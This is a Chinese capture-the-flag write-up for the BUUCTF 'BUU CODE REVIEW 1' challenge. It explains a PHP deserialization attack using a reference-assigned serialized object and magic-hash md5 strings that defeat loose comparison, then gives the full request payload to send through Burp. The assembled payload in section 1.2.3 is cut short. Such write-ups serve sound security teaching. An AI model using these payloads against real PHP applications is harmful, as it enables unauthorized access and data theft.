PHP 反序列化利用
1. 题目分析
- BUUCTF Basic - BUU CODE REVIEW 1
1.1 利用点
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/
highlight_file(__FILE__);
class BUU {
public $correct = "";
public $input = "";
public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}
利用点:
- 反序列化
一是构造序列化。
二是看到unserialize
方法,就知道是 PHP 反序列化利用。利用的是反序列化之后,对象销毁触发__destruct
函数的执行,从而得到 flag。 - post 传参
同时在 URL 中传递pleaseget
这个参数。 - 构造 md5 值相等
找两个不等的字符串,但是它们的 md5 值相等。 - 引用赋值
correct
和input
采用引用赋值,才能让input
和correct
一起改变。
1.2 Payload 构造
1.2.1 构造序列化,引用赋值
根据 BUU
类的定义,构造一个序列化字符串。
注意要把 correct
的引用赋给(&$obj->correct
) input
,这样 input
作为 correct
的一个别名,二者用 ===
进行比较的结果必定为 True。
class BUU
{
public $correct = "";
public $input = "";
}
$obj = new BUU();
$obj->input = &$obj->correct;
print_r(serialize($obj)); # O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
1.2.2 md5 相等绕过
一些特殊字符串,经过 md5 之后若以 0e 开头,同时用 ==
进行比较(用 ===
比较结果为 False),那么结果会为 True。
<?php
$a = "s878926199a";
$b = "s155964671a";
print_r($a . "-->" . md5($a) . "<br>");
print_r($b . "-->" . md5($b) . "<br>");
if (md5($a) == md5($b)) {
print_r("OK" . "<br>");
}
// s878926199a-->0e545993274517709034328855841020
// s155964671a-->0e342768416822451524974117254469
// OK
还有其他 md5 绕过的技巧,参见链接[1]。
1.2.3 构造 post 参数
综上,Payload 构造如下
get: pleaseget=1
post: pleasepost=2&md51=s878926199a&md52=s155964671a&obj=O:3:"BUU":2:
2 利用
2.1 Burp 修改 Payload
因为后台要获取 post 参数,所以先将 get 请求修改为 post(post 也可以发送 url 参数),同时添加 get 和 post 参数,发送到 repeater。
点击 GO,发送请求,查看返回结果,可以看到 flag。
ps:有时用 repeater 发送之后,返回的结果中没有 flag。在 param 中随便把某个参数的未知上下(up/down)调整一下,返回的结果中就有了 flag。。。